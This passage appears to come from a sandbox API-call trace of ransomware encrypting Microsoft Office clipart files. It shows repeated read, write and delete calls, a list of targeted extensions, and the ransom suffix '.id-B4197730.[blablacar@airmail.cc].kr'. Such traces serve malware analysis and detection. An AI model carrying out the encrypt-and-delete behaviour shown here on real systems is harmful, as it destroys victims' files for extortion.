nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x2a50, lpOverlapped=0x0) returned 1 [0192.551] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.551] WriteFile (in: hFile=0x520, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0192.551] SetEndOfFile (hFile=0x520) returned 1 [0192.551] CloseHandle (hObject=0x520) returned 1 [0192.551] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.551] SetEndOfFile (hFile=0x410) returned 1 [0192.554] CloseHandle (hObject=0x410) returned 1 [0192.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.555] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 1 [0192.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0192.555] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0192.555] lstrlenW (lpString=".doc") returned 4 [0192.555] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.555] lstrlenW (lpString=".docx") returned 5 [0192.555] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0192.556] lstrlenW (lpString=".pdf") returned 4 [0192.556] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.556] lstrlenW (lpString=".xls") returned 4 [0192.556] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.556] lstrlenW (lpString=".xlsx") returned 5 [0192.556] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0192.556] lstrlenW (lpString=".ppt") returned 4 [0192.556] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0192.556] lstrlenW (lpString=".zip") returned 4 [0192.556] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.556] lstrlenW (lpString=".rar") returned 4 [0192.556] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.556] lstrlenW (lpString=".bz2") returned 4 [0192.556] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.556] lstrlenW (lpString=".7z") returned 3 [0192.556] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0192.556] lstrlenW (lpString=".dbf") returned 4 [0192.556] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0192.556] lstrlenW (lpString=".1cd") returned 4 [0192.556] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0192.556] lstrlenW (lpString=".jpg") returned 4 [0192.556] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0192.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0192.557] lstrlenW (lpString=".doc") returned 4 [0192.557] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.557] lstrlenW (lpString=".docx") returned 5 [0192.557] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0192.557] lstrlenW (lpString=".pdf") returned 4 [0192.557] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.557] lstrlenW (lpString=".xls") returned 4 [0192.557] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.557] lstrlenW (lpString=".xlsx") returned 5 [0192.557] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0192.557] lstrlenW (lpString=".ppt") returned 4 [0192.557] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0192.557] lstrlenW (lpString=".zip") returned 4 [0192.557] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.557] lstrlenW (lpString=".rar") returned 4 [0192.557] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.557] lstrlenW (lpString=".bz2") returned 4 [0192.557] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.557] lstrlenW (lpString=".7z") returned 3 [0192.557] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0192.557] lstrlenW (lpString=".dbf") returned 4 [0192.557] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0192.557] lstrlenW (lpString=".1cd") returned 4 [0192.557] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 68 [0192.558] lstrlenW (lpString=".jpg") returned 4 [0192.558] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.558] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0192.558] lstrlenW (lpString="FD00403_.WMF") returned 12 [0192.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0192.559] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=7878) returned 1 [0192.559] CloseHandle (hObject=0x410) returned 1 [0192.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x220 [0192.559] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0192.559] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.559] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0192.560] GetLastError () returned 0x0 [0192.560] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1ec6, lpOverlapped=0x0) returned 1 [0192.563] WriteFile (in: hFile=0x520, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1ed0, lpOverlapped=0x0) returned 1 [0192.564] ReadFile (in: hFile=0x410, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.564] WriteFile (in: hFile=0x520, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0192.565] SetEndOfFile (hFile=0x520) returned 1 [0192.565] CloseHandle (hObject=0x520) returned 1 [0192.565] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.565] SetEndOfFile (hFile=0x410) returned 1 [0192.569] CloseHandle (hObject=0x410) returned 1 [0192.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 1 [0192.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0192.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0192.655] lstrlenW (lpString=".doc") returned 4 [0192.655] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.655] lstrlenW (lpString=".docx") returned 5 [0192.655] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0192.655] lstrlenW (lpString=".pdf") returned 4 [0192.655] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.655] lstrlenW (lpString=".xls") returned 4 [0192.655] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.655] lstrlenW (lpString=".xlsx") returned 5 [0192.655] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0192.655] lstrlenW (lpString=".ppt") returned 4 [0192.655] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0192.655] lstrlenW (lpString=".zip") returned 4 [0192.655] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.655] lstrlenW (lpString=".rar") returned 4 [0192.655] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.655] lstrlenW (lpString=".bz2") returned 4 [0192.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.656] lstrlenW (lpString=".7z") returned 3 [0192.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0192.656] lstrlenW (lpString=".dbf") returned 4 [0192.656] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0192.656] lstrlenW (lpString=".1cd") returned 4 [0192.656] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0192.656] lstrlenW (lpString=".jpg") returned 4 [0192.656] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0192.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0192.656] lstrlenW (lpString=".doc") returned 4 [0192.656] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.656] lstrlenW (lpString=".docx") returned 5 [0192.656] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0192.656] lstrlenW (lpString=".pdf") returned 4 [0192.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.656] lstrlenW (lpString=".xls") returned 4 [0192.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.656] lstrlenW (lpString=".xlsx") returned 5 [0192.656] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0192.656] lstrlenW (lpString=".ppt") returned 4 [0192.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0192.656] lstrlenW (lpString=".zip") returned 4 [0192.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.656] lstrlenW (lpString=".rar") returned 4 [0192.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.657] lstrlenW (lpString=".bz2") returned 4 [0192.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.657] lstrlenW (lpString=".7z") returned 3 [0192.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0192.657] lstrlenW (lpString=".dbf") returned 4 [0192.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0192.657] lstrlenW (lpString=".1cd") returned 4 [0192.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF") returned 68 [0192.657] lstrlenW (lpString=".jpg") returned 4 [0192.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.657] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0192.657] lstrlenW (lpString="FD00419_.WMF") returned 12 [0192.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0192.881] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=16396) returned 1 [0192.881] CloseHandle (hObject=0x544) returned 1 [0192.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x220 [0192.881] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0192.881] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.881] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.882] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0192.882] GetLastError () returned 0x0 [0192.882] ReadFile (in: hFile=0x544, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x400c, lpOverlapped=0x0) returned 1 [0192.884] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x4010, lpOverlapped=0x0) returned 1 [0192.886] ReadFile (in: hFile=0x544, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.886] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0192.886] SetEndOfFile (hFile=0x53c) returned 1 [0192.886] CloseHandle (hObject=0x53c) returned 1 [0192.886] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.886] SetEndOfFile (hFile=0x544) returned 1 [0192.890] CloseHandle (hObject=0x544) returned 1 [0192.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0192.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 1 [0192.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0192.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0192.891] lstrlenW (lpString=".doc") returned 4 [0192.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.891] lstrlenW (lpString=".docx") returned 5 [0192.891] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0192.891] lstrlenW (lpString=".pdf") returned 4 [0192.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.891] lstrlenW (lpString=".xls") returned 4 [0192.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.891] lstrlenW (lpString=".xlsx") returned 5 [0192.891] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0192.891] lstrlenW (lpString=".ppt") returned 4 [0192.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0192.891] lstrlenW (lpString=".zip") returned 4 [0192.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.891] lstrlenW (lpString=".rar") returned 4 [0192.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.891] lstrlenW (lpString=".bz2") returned 4 [0192.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.892] lstrlenW (lpString=".7z") returned 3 [0192.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0192.892] lstrlenW (lpString=".dbf") returned 4 [0192.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0192.892] lstrlenW (lpString=".1cd") returned 4 [0192.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0192.892] lstrlenW (lpString=".jpg") returned 4 [0192.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0192.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0192.892] lstrlenW (lpString=".doc") returned 4 [0192.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0192.892] lstrlenW (lpString=".docx") returned 5 [0192.892] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0192.892] lstrlenW (lpString=".pdf") returned 4 [0192.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0192.892] lstrlenW (lpString=".xls") returned 4 [0192.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0192.892] lstrlenW (lpString=".xlsx") returned 5 [0192.892] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0192.892] lstrlenW (lpString=".ppt") returned 4 [0192.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0192.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0192.892] lstrlenW (lpString=".zip") returned 4 [0192.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0192.892] lstrlenW (lpString=".rar") returned 4 [0192.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0192.893] lstrlenW (lpString=".bz2") returned 4 [0192.893] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0192.893] lstrlenW (lpString=".7z") returned 3 [0192.893] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0192.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0192.893] lstrlenW (lpString=".dbf") returned 4 [0192.893] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0192.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0192.893] lstrlenW (lpString=".1cd") returned 4 [0192.893] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0192.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 68 [0192.893] lstrlenW (lpString=".jpg") returned 4 [0192.893] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0192.893] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0192.893] lstrlenW (lpString="FD00428_.WMF") returned 12 [0192.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0192.894] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=4796) returned 1 [0192.894] CloseHandle (hObject=0x544) returned 1 [0192.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x220 [0192.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0192.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0192.895] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.895] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0192.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0192.896] GetLastError () returned 0x0 [0192.896] ReadFile (in: hFile=0x544, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x12bc, lpOverlapped=0x0) returned 1 [0192.898] WriteFile (in: hFile=0x53c, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x12c0, lpOverlapped=0x0) returned 1 [0192.899] ReadFile (in: hFile=0x544, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0192.899] WriteFile (in: hFile=0x53c, 